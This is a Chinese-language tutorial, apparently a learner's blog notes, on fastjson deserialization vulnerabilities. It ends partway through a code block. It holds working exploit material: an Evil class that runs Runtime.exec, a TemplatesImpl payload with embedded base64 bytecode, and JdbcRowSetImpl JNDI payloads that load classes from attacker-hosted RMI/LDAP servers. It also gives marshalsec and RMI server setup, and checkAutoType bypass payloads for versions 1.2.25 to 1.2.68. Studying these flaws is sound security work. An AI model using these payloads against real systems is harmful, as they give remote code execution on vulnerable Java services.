从零开始学习fastjson反序列化
一、什么是fastjson?
fastjson
是一个Java语言编写的高性能功能完善的JSON
库。它采用一种”假定有序快速匹配”的算法,把JSON Parse的性能提升到极致,是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。
二、fastjson使用简介
用来实现Java对象与JSON字符串的相互转换,比如:
1 2 3 4 5
| User user = new User(); user.setUserName("Le1a"); user.setAge(20); user.setSex("男"); String userJson = JSON.toJSONString(user);
|
输出结果:
1
| {"age":20,"sex":"男","userName":"Le1a"}
|
以上将对象转换为JSON字符串的操作成为序列化,将JSON字符串实例化为Java对象的操作成为反序列化。
三、fastjson反序列化机制
Case1:
User类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| public class User{ private int age; private String userName; private String sex; public User() { System.out.println("User construct"); }
public String getUserName() { System.out.println("getUserName"); return userName; } public int getAge() { System.out.println("getAge"); return age; } public String getSex() { System.out.println("getSex"); return sex; }
public void setUserName(String userName) { System.out.println("setUserName:" + userName); this.userName = userName; }
public void setAge(int age) { System.out.println("setAge:" + age); this.age = age; }
public void setSex(String sex) { System.out.println("setSex:" + sex); this.sex = sex; } }
|
执行反序列化:
1 2 3 4 5 6 7 8 9 10
| import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature;
import java.io.*;
public class Ser1 { public static void main(String[] args) throws IOException, ClassNotFoundException { String jsonstr = "{\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}"; } }
|
执行结果:
1 2 3 4
| User construct setAge:20 setSex:男 setUserName:Le1a
|
这个执行结果说明了: fastjson在反序列化的时候会调用这个类的setter方法。那如果没有setter方法,还能正确赋值吗?
所以接下来看第二种机制。
Case2:
User类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public class User{ public int age; public String userName; public String sex; public User() { System.out.println("User construct"); }
public String getUserName() { System.out.println("getUserName"); return userName; } public int getAge() { System.out.println("getAge"); return age; } public String getSex() { System.out.println("getSex"); return sex; } }
|
执行反序列化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature;
import java.io.*;
public class Ser1 { public static void main(String[] args) throws IOException, ClassNotFoundException { String jsonstr = "{\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}"; User user = JSON.parseObject(jsonstr, User.class); System.out.println("age:" + user.age); System.out.println("setSex:" + user.sex); System.out.println("userName:" + user.userName); } }
|
执行结果:
1 2 3 4
| User construct age:20 setSex:男 userName:Le1a
|
发现没有setter方法的时候,fastjson也会对Field正确赋值,但是前提条件是Field必须为public属性。如果不是public属性也没有setter方法呢?接着来看另一种方法!
Case3:
将Field 属性改为私有,不提供setter
User类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public class User{ private int age; private String userName; private String sex; public User() { System.out.println("User construct"); }
public String getUserName() { return userName; } public int getAge() { return age; } public String getSex() { return sex; } }
|
执行反序列化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature;
import java.io.*;
public class Ser1 { public static void main(String[] args) throws IOException, ClassNotFoundException { String jsonstr = "{\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}"; User user = JSON.parseObject(jsonstr, User.class); System.out.println("age:" + user.getAge()); System.out.println("setSex:" + user.getSex()); System.out.println("userName:" + user.getUserName()); } }
|

输出结果为:
1 2 3 4
| User construct age:0 setSex:null userName:null
|
发现并没有对Field进行赋值,打印出来的都是Field的默认初始值。以上说明对于不可见Field且未提供setter方法,fastjson默认不会赋值。
将反序列化代码修改为如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature;
import java.io.*;
public class Ser1 { public static void main(String[] args) throws IOException, ClassNotFoundException { String jsonstr = "{\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}"; User user = JSON.parseObject(jsonstr, User.class,Feature.SupportNonPublicField); System.out.println("age:" + user.getAge()); System.out.println("setSex:" + user.getSex()); System.out.println("userName:" + user.getUserName()); } }
|

输出结果为:
1 2 3 4
| User construct age:20 setSex:男 userName:Le1a
|
可见: 对于未提供setter的私有Field,fastjson在反序列化时需要显式提供参数Feature.SupportNonPublicField
才会正确赋值。
四、漏洞原理
fastjson支持使用@type
来指定反序列化的目标类,如下演示:
User类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| public class User{ private int age; private String userName; private String sex; public User() { System.out.println("User construct"); }
public String getUserName() { System.out.println("getUserName"); return userName; } public int getAge() { System.out.println("getAge"); return age; } public String getSex() { System.out.println("getSex"); return sex; }
public void setUserName(String userName) { System.out.println("setUserName:" + userName); this.userName = userName; }
public void setAge(int age) { System.out.println("setAge:" + age); this.age = age; }
public void setSex(String sex) { System.out.println("setSex:" + sex); this.sex = sex; } }
|
执行反序列化
1 2 3 4 5 6 7 8 9 10 11 12
| import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.Feature;
import java.io.IOException;
public class Ser2 { public static void main(String[] args) throws IOException, ClassNotFoundException { String jsonstr = "{\"@type\":\"Evil\",\"age\":20,\"sex\":\"男\",\"userName\":\"Le1a\"}"; Object user = JSON.parseObject(jsonstr); } }
|
执行结果为:
1 2 3 4 5 6 7
| User construct setAge:20 setSex:男 setUserName:Le1a getAge getSex getUserName
|
JSON字符串@type
的值为User,也就指定了要将此JSON字符串实例化为User对象,在此过程中fastjson不仅调用了setter也调用了getter。
假设这个@type
指向一个恶意类,那是不是就能触发恶意代码呢?
我们来写一个Evil
类
1 2 3 4 5 6 7 8 9 10
| public class Evil { static { System.err.println("Hacker!!!"); try { java.lang.Runtime.getRuntime().exec("calc"); } catch ( Exception e ) { e.printStackTrace(); } } }
|

成功执行了恶意命令,实际应用中肯定很难找到像Evil这种代码,攻击者要想办法通过现有的让JVM加载构造的恶意类,就得来构造Gadget。
五、漏洞利用
1.TemplatesImpl
利用fastjson反序列化后会调用属性的getter,可以使用之前学习的TemplatesImpl。
恶意类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import sun.plugin.com.JavaClass;
import java.lang.reflect.Method;
public class Shell extends AbstractTranslet { public Shell() throws Exception{ Class runtime = Class.forName("java.lang.Runtime"); Method exec = runtime.getMethod("exec", String.class); Method getruntime = runtime.getMethod("getRuntime"); Object r = getruntime.invoke(runtime); exec.invoke(r,"calc"); System.out.println("Hacker!!!"); } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| import com.alibaba.fastjson.parser.ParserConfig;
import java.io.File; import java.io.FileInputStream; import java.io.InputStream; import java.util.Base64;
public class TemplatesImpl { public static void main(String[] args) throws Exception { ParserConfig config = new ParserConfig(); String base64Evil = fileToBase64("D:\\Cc\\IntelliJ IDEA 2021.1\\Fastjson\\target\\classes\\Shell.class"); String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAUAoAEAAvCAAwCgAFADEIABoHADIHADMKAAUANAgANQcANgoANwA4CAA5CQA6ADsIADwKAD0APgcAPwcAQAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAHTFNoZWxsOwEAB3J1bnRpbWUBABFMamF2YS9sYW5nL0NsYXNzOwEABGV4ZWMBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEACmdldHJ1bnRpbWUBAAFyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAKRXhjZXB0aW9ucwcAQQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAEIBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIBABFqYXZhLmxhbmcuUnVudGltZQwAQwBEAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwwARQBGAQAKZ2V0UnVudGltZQEAEGphdmEvbGFuZy9PYmplY3QHAEcMAEgASQEABGNhbGMHAEoMAEsATAEAD0hhY2tlcu+8ge+8ge+8gQcATQwATgBPAQAFU2hlbGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAA8AEAAAAAAAAwABABEAEgACABMAAAC3AAYABQAAAEkqtwABEgK4AANMKxIEBL0ABVkDEgZTtgAHTSsSCAO9AAW2AAdOLSsDvQAJtgAKOgQsGQQEvQAJWQMSC1O2AApXsgAMEg22AA6xAAAAAgAUAAAAIgAIAAAACwAEAAwACgANABoADgAlAA8AMAAQAEAAEQBIABIAFQAAADQABQAAAEkAFgAXAAAACgA/ABgAGQABABoALwAaABsAAgAlACQAHAAbAAMAMAAZAB0AHgAEAB8AAAAEAAEAIAABACEAIgACABMAAAA/AAAAAwAAAAGxAAAAAgAUAAAABgABAAAAFgAVAAAAIAADAAAAAQAWABcAAAAAAAEAIwAkAAEAAAABACUAJgACAB8AAAAEAAEAJwABACEAKAACABMAAABJAAAABAAAAAGxAAAAAgAUAAAABgABAAAAGwAVAAAAKgAEAAAAAQAWABcAAAAAAAEAIwAkAAEAAAABACkAKgACAAAAAQArACwAAwAfAAAABAABACcAAQAtAAAAAgAu\"],\"_name\" : \"a\",\"_tfactory\" : {},\"outputProperties\" : {}}"; System.out.println(payload);
}
public static String fileToBase64(String path) throws Exception{ String base64Result=null; InputStream inputStream = null;
File file = new File(path); inputStream = new FileInputStream(file); byte[] bytes = new byte[inputStream.available()]; inputStream.read(bytes,0,inputStream.available()); base64Result = new String(Base64.getEncoder().encode(bytes)); return base64Result; }
}
|
成功执行命令。_bytecodes
是私有属性,_name
也是私有域,所以在parseObject
的时候需要设置Feature.SupportNonPublicField
,这样_bytecodes字段才会被反序列化。

2.JNDI注入
2.1RMI
反序列化Gadget主流都是使用JNDI,现阶段都是在利用根据JNDI特征自动化挖掘Gadget。
com.sun.rowset.JdbcRowSetImpl
这个类有两个set方法,分别是setDataSourceName()
与setAutoCommit()
,我们看一下相关实现:
setDatasourceName
1 2 3 4 5 6 7 8 9 10 11 12
| public void setDataSourceName(String name) throws SQLException {
if (name == null) { dataSource = null; } else if (name.equals("")) { throw new SQLException("DataSource name cannot be empty string"); } else { dataSource = name; }
URL = null; }
|
setAutoCommit
1 2 3 4 5 6 7 8 9
| public void setAutoCommit(boolean var1) throws SQLException { if (this.conn != null) { this.conn.setAutoCommit(var1); } else { this.conn = this.connect(); this.conn.setAutoCommit(var1); }
}
|
这里的setDataSourceName就是设置了dataSourceName,然后在setAutoCommit中进行了connect操作,我们跟进看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| protected Connection connect() throws SQLException { if (this.conn != null) { return this.conn; } else if (this.getDataSourceName() != null) { try { InitialContext var1 = new InitialContext(); DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName()); return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection(); } catch (NamingException var3) { throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString()); } } else { return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null; } }
|
可以看到这里connect方法中有典型的jndi
的lookup
方法调用,且参数就是我们在setDataSourceName
中设置的dataSourceName
,来构造一下payload,dataSourceName的值为我们恶意的rmi对象
1
| {"@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://127.0.0.1:1099/Evil", "autoCommit":true}}
|
工具启动RMI服务
这里有一款工具: https://github.com/RandomRobbieBF/marshalsec-jar
先将恶意Evil类部署到http服务上,可以直接使用python -m http.server
。我这里就直接部署到公网上了,然后使用如下命令快速搭建一个rmi服务器,并把恶意的远程对象注册到上面
1
| java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http:
|
这样rmi服务就快速搭起来了,运行一下,成功弹出计算器
1 2 3 4 5 6 7 8 9 10 11 12
| import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature;
import java.io.IOException;
public class SerJndi { public static void main(String[] args) throws IOException, ClassNotFoundException {
String jsonstr = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://IP:1099/Evil\", \"autoCommit\":true}}"; JSON.parseObject(jsonstr,Feature.SupportNonPublicField); } }
|


手动启动RMI服务
同样先将恶意Evil类部署到http服务上,直接使用python -m http.server 8000
,然后创建JNDIServer.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class JNDIServer { public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException { Registry registry = LocateRegistry.createRegistry(1099); Reference reference = new Reference("Exploit","Evil","http://127.0.0.1:8000/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("Exploit",referenceWrapper); } }
|
RMI服务端可以直接绑定远程调用的对象以外,还可通过References类来绑定一个外部的远程对象,当RMI绑定了References之后,首先会利用Referenceable.getReference()
获取绑定对象的引用,并在目录中保存,当客户端使用lookup
获取对应名字时,会返回ReferenceWrapper
类的代理文件,然后会调用getReference()
获取Reference
类,最终通过factory
类将Reference
转换为具体的对象实例。
这里为了防止本地触发恶意代码,就选择了通过References
类绑定远程对象。第一个参数是开启rmi服务后的恶意类名,第二个参数是恶意类本体,第三个参数是远程对象的URL。

服务端JNDIClient
1 2 3 4 5 6 7 8
| import com.alibaba.fastjson.JSON;
public class JNDIClient { public static void main(String[] argv){ String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true}"; JSON.parse(payload); } }
|

2.2LADP
六、Fastjson各版本绕过
1.2.24
Fastjson 1.2.25之前版本,只是通过黑名单限制哪些类不能通过@type
指定。
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
和com.sun.rowset.JdbcRowSetImpl
都不在黑名单中,可以直接完成攻击,代码参考上文。
1.2.25
1.2.25版本修复了这个漏洞,添加了配置项setAutoTypeSupport
,并且使用了checkAutoType
函数定义黑白名单的方式来防御反序列化漏洞。
当 autoTypeSupport 为 False
时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错。当 autoTypeSupport 为 True 时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。
com.alibaba.fastjson.parser.ParserConfig
类中有一个String[]
类型的denyList数组,denyList中定义了反序列化的黑名单的类包名,1.2.25-1.2.41版本中会对以下包名进行过滤
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| bsh com.mchange com.sun. java.lang.Thread java.net.Socket java.rmi javax.xml org.apache.bcel org.apache.commons.beanutils org.apache.commons.collections.Transformer org.apache.commons.collections.functors org.apache.commons.collections4.comparators org.apache.commons.fileupload org.apache.myfaces.context.servlet org.apache.tomcat org.apache.wicket.util org.apache.xalan org.codehaus.groovy.runtime org.hibernate org.jboss org.mozilla.javascript org.python.core org.springframework
|

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { if (typeName == null) { return null; } else if (typeName.length() >= 128) { throw new JSONException("autoType is not support. " + typeName); } else { String className = typeName.replace('$', '.'); Class<?> clazz = null; int mask; String accept; if (this.autoTypeSupport || expectClass != null) { for(mask = 0; mask < this.acceptList.length; ++mask) { accept = this.acceptList[mask]; if (className.startsWith(accept)) { clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false); if (clazz != null) { return clazz; } } } for(mask = 0; mask < this.denyList.length; ++mask) { accept = this.denyList[mask]; if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null) { throw new JSONException("autoType is not support. " + typeName); } } } if (clazz == null) { clazz = TypeUtils.getClassFromMapping(typeName); } if (clazz == null) { clazz = this.deserializers.findClass(typeName); } if (clazz != null) { if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } else { return clazz; } } else { if (!this.autoTypeSupport) { for(mask = 0; mask < this.denyList.length; ++mask) { accept = this.denyList[mask]; if (className.startsWith(accept)) { throw new JSONException("autoType is not support. " + typeName); } } for(mask = 0; mask < this.acceptList.length; ++mask) { accept = this.acceptList[mask]; if (className.startsWith(accept)) { if (clazz == null) { clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false); } if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } } } }
|
当autoTypeSupport 为 False 时,先黑名单过滤,然后再匹配白名单,如果白名单没匹配到则报错,所以必须配置有白名单,才能进行loadClass
操作。
当 autoTypeSupport 为 True 时,首先进行白名单过滤,如果在白名单上则直接loadClass
,否则进行黑名单过滤。

这里判断如果className
是以L
开头,并以;
结尾,那么去除开头的L
以及末尾的;
,得到 newClassName 然后 loadClass,这样就绕过了CheckAutoType 的检查。
所以当开启ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
时我们可以在@type
处对指定类名进行改造,在JdbcRowSetImpl类的前面加了一个L,然后在TemplatesImpl类的后面再加一个;
分号,就可以绕过了。

1.2.42
1.2.42版本将黑名单denyList替换成了denyHashCodes,fastjson使用哈希黑名单来代替之前的明文黑名单来防止被绕过,增加了绕过的困难程度。checkAutoType
函数会从className
中将com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
类提取出来,然后把前后的字符L
和;
都去掉,然后再进行哈希黑名单过滤。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { if (typeName == null) { return null; } else if (typeName.length() < 128 && typeName.length() >= 3) { String className = typeName.replace('$', '.'); Class<?> clazz = null; long BASIC = -3750763034362895579L; long PRIME = 1099511628211L; if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) { className = className.substring(1, className.length() - 1); } long h3 = (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L ^ (long)className.charAt(2)) * 1099511628211L; long hash; int i; if (this.autoTypeSupport || expectClass != null) { hash = h3; for(i = 3; i < className.length(); ++i) { hash ^= (long)className.charAt(i); hash *= 1099511628211L; if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) { clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false); if (clazz != null) { return clazz; } } if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) { throw new JSONException("autoType is not support. " + typeName); } } } } else { throw new JSONException("autoType is not support. " + typeName); } }
|
但是只提取了一次,所以我们可以通过双写绕过。
1
| LLcom.sun.rowset.JdbcRowSetImpl;;
|

1.2.43
1.2.43版本对1.2.42版本的绕过进行了修复,首先判断了className中的类是否以字符“L”开头,以字符“;”结尾,如果满足条件,继续判断是否以字符“LL”开头,如果满足条件则抛出异常。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { if (typeName == null) { return null; } else if (typeName.length() < 128 && typeName.length() >= 3) { String className = typeName.replace('$', '.'); Class<?> clazz = null; long BASIC = -3750763034362895579L; long PRIME = 1099511628211L; if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) { if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) { throw new JSONException("autoType is not support. " + typeName); }
className = className.substring(1, className.length() - 1); }
|
因为1.2.42版本的payload已无法利用,因此我们需要另寻突破口,在TypeUtils类的loadClass
方法中会对className
进行校验

这里className
以[
开头,然后通过substring
去掉[
,然后进行loadClass
那么可以对payload进行改造,在类前面加一个“[”字符,这样就可以绕过checkAutoType函数的过滤,如下所示:
1
| [com.sun.rowset.JdbcRowSetImpl
|
再次运行程序还是会报错,根据抛出的异常来看,是在调用DefaultJSONParser类的parseArray方法时抛出的异常

打上断点调试,发现会判断token的值,如果不为14,则会抛出异常。

这里调试可以发现我们的token是16,那么token是由什么决定的呢?在[
的if
处下个断点调试(有个坑点就是刚开始调试传入的className并不是我们的JDBC
,而是java.lang.AutoCloseable
,所以光标点到if
判断里面,然后强行进入if
语句里面)

此时传入的类是[com.sun.rowset.JdbcRowSetImpl
。来看一下nextToken()
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101
| public final void nextToken() { this.sp = 0;
while(true) { while(true) { this.pos = this.bp; if (this.ch != '/') { if (this.ch == '"') { this.scanString(); return; }
if (this.ch == ',') { this.next(); this.token = 16; return; }
if (this.ch >= '0' && this.ch <= '9') { this.scanNumber(); return; }
if (this.ch == '-') { this.scanNumber(); return; } switch(this.ch) { case '\b': case '\t': case '\n': case '\f': case '\r': case ' ': this.next(); break; case '\'': if (!this.isEnabled(Feature.AllowSingleQuotes)) { throw new JSONException("Feature.AllowSingleQuotes is false"); }
this.scanStringSingleQuote(); return; case '(': this.next(); this.token = 10; return; case ')': this.next(); this.token = 11; return; case '+': this.next(); this.scanNumber(); return; case '.': this.next(); this.token = 25; return; case ':': this.next(); this.token = 17; return; case ';': this.next(); this.token = 24; return; case 'N': case 'S': case 'T': case 'u': this.scanIdent(); return; case '[': this.next(); this.token = 14; return; case ']': this.next(); this.token = 15; return; case 'f': this.scanFalse(); return; case 'n': this.scanNullOrNew(); return; case 't': this.scanTrue(); return; case 'x': this.scanHex(); return; case '{': this.next(); this.token = 12; return; case '}': this.next(); this.token = 13; return;
|
nextToken
方法会判断ch的值,然后根据ch的值设置token,在调试分析中ch的值是json数据中第一个逗号出现的位置(固定从这个位置取值),我们需要把token的值设置为14来绕过DefaultJSONParser
类的parseArray
方法。所以在第一个逗号出现的位置前面加[


此时的token就为14了,尝试打一下,发现有了新的异常。

说是在43索引(第一个逗号)的位置还缺一个{
,把{
加上即可成功绕过
payload:
1
| "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\",\"autoCommit\":true}"
|

1.2.45
1 2 3 4 5 6
| { "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory", "properties":{ "data_source":"ldap://127.0.0.1:1389/Evil" } }
|
1.2.47
Fastjson从1.2.25开始,添加了配置项setAutoTypeSupport
以及白名单,进一步限制@type的使用,默认该配置项关闭。如果配置项是关闭状态,那么只允许白名单内的类才能通过@type指定。
此时com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesIpl和com.sun.rowset.JdbcRowSetIm都已经在黑名单中了,

但是存在绕过方式,不需要setAutoTypeSupport为true。如果先传入如下JSON进行反序列化:
1 2 3 4
| { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }
|
java.lang.Class是在白名单中的,反序列化后com.sun.rowset.JdbcRowSetImpl
就会被加入到白名单中,剩下的就和1.2.24相同了,直接把两部分整合到一起:
1 2 3 4 5 6 7 8 9 10 11
| { "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://127.0.0.1:1099/Exploit", "autoCommit": true } }
|

成功绕过!
原理分析: https://blog.csdn.net/qq_34101364/article/details/111706189
之后来学!!!
1.2.68
1.2.68这个版本加入了新的安全控制点safeMode
,如果应用程序开启safeMode
,将在checkAutoType()
中直接抛出异常,完全禁止了autoType
。

但是这个版本爆出了可以通过expectClass
绕过 checkAutoType()

有两个Class类型,一个是调用isAssignableFrom方法的类对象(也就是这里的expectClass),以及方法中作为参数的这个类对象(传入的类),这两个对象如果满足以下条件则返回true,否则返回false:
expectClass
是clazz
对象的父类或者是父接口
expectClass
和clazz是同一个类或者同一个接口
在checkAutoType()
函数中,如果传入了expectClass
,且传入的类的名字如果是HashMap
或者是expectClass
的子类或者实现就可以通过checkAutoType()
的安全检测。
现在看看哪些地方使用传入了expectClass
这个参数

发现主要是2个地方会使用到
先构造反序列化,也就是说如果我们@type的值对应的类构造的反序列化器是JavaBeanDeserializer或者ThrowableDeserializer,就会触发deserialze,同时有希望触发带有expectClass
参数的checkAutoType达到我们的目的
总结成一句话就是:寻找怎么才能调用到带有expectClass参数的checkAutoType方法

如果clazz是Throwable的子类,那么就返回ThrowableDeserializer,如果所有条件都不满足,那么就会调用createJavaBeanDeserializer
去新建JavaBeanDeserializer
ThrowableDeserializer
要使用到com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer
这个反序列化器,根据上面的分析,那么我们@type
传入的就应该是Throwable的子类或者本身。也就是说,我们的第二个@type
对应的类必须是期望类java.lang.Throwable
的子类
这里第一个@type
传入Throwable
或者它的子类就可以使用ThrowableDeserializer
,但是由于java.lang.Throwable
不在白名单中,所以需要手动开启autoTypeSupport


- 也就是说,第一个
@type
参数是Throwable
或者它的子类,那么第二个@type
如果也是Throwable
或者它的子类,那么就可以绕过checkAutoType()
,从而实例化第二个@type
指向的类
例如,我们本地编写一个ThrowableEvil
,继承Throwable
,然后静态代码块写入恶意代码,那么这里即可触发命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import java.lang.reflect.Method;
